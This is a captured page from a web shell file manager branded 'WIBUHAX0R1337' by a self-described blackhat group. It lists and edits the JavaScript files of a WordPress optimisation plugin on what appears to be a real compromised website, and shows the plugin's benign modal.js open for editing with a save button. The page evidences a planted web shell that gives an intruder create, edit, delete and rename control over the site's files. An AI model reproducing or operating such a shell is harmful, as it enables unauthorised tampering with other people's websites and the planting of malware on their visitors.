-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
plugins
/
wp-optimize
/
js
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
handlebars
--
NONE
jszip
--
NONE
serialize-json
--
NONE
sortable
--
NONE
blockUI.js
1.222KB
Edit File
Delete File
Rename
cache.js
15.2KB
Edit File
Delete File
Rename
delay-js-4-3-1.min.js
1.16KB
Edit File
Delete File
Rename
delay-js.js
5.39KB
Edit File
Delete File
Rename
heartbeat.js
7.522KB
Edit File
Delete File
Rename
loadAsync.js
0.654KB
Edit File
Delete File
Rename
loadCSS-4-3-1.min.js
0.799KB
Edit File
Delete File
Rename
loadCSS.js
3.046KB
Edit File
Delete File
Rename
minify.js
20.751KB
Edit File
Delete File
Rename
modal.js
2.293KB
Edit File
Delete File
Rename
queue-4-3-1.min.js
0.682KB
Edit File
Delete File
Rename
queue.js
3.567KB
Edit File
Delete File
Rename
send-command-4-3-1.min.js
2.579KB
Edit File
Delete File
Rename
send-command.js
5.878KB
Edit File
Delete File
Rename
status.js
7.019KB
Edit File
Delete File
Rename
wpo-images-view-4-3-1.min.js
7.334KB
Edit File
Delete File
Rename
wpo-images-view.js
15.58KB
Edit File
Delete File
Rename
wpoadmin.js
76.014KB
Edit File
Delete File
Rename
wposmush.js
45.689KB
Edit File
Delete File
Rename
/* How to use the modal wp_optimize.modal.open({ className: 'a-class', // A class name, added to the main modal container events: {}, // An object containing the events added to the modal. See Backbonejs View events syntax. content: function() { return ''; // the Content method returns html or jQuery objects which will be added to the content area of the modal }, ... // Other methods used by the custom events }) */ var wp_optimize = window.wp_optimize || {}; // WordPress v4.9 uses Backbone v1.3.3, which does not support the preinitialize() hook. // Therefore, we are adding a patch to enable support for the preinitialize() hook. (function() { var OriginalView = Backbone.View; Backbone.View = function(options) { if (typeof this.preinitialize === 'function') { this.preinitialize.apply(this, arguments); } return OriginalView.apply(this, arguments); }; Backbone.View.prototype = OriginalView.prototype; Backbone.View.extend = OriginalView.extend; })(); (function($, wp) { 'use strict'; var modal = {}; modal.views = {}; /** * Main modal View */ modal.views.modal = Backbone.View.extend({ tagName: 'div', template: wp.template('wpo-modal'), /** * Extend default values */ preinitialize: function() { this.events = _.extend(this.events || {}, { 'click .wpo-modal--close': 'close' }); this.className = this.className ? 'wpo-modal--container ' + this.className : 'wpo-modal--container '; }, render: function() { this.$el.append(this.template()); this.trigger('rendered'); }, initialize: function() { this.trigger('initialize'); this.render(); this.$content = this.$el.find('.wpo-modal--content'); // Append the content area with the content provided by the child object if ('function' === typeof this.content) { this.$content.append(this.content()); } }, close: function() { $('body').removeClass('wpo-modal-is-opened'); this.remove(); } }); /** * Public method to create and open the modal */ modal.open = function(options) { var view_options = _.extend(options || {}, {}); var modalView = modal.views.modal.extend(view_options); var m = new modalView(); m.$el.appendTo('body'); m.$('.wpo-modal').focus(); $('body').addClass('wpo-modal-is-opened'); return m; } wp_optimize.modal = modal; })(jQuery, window.wp);
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat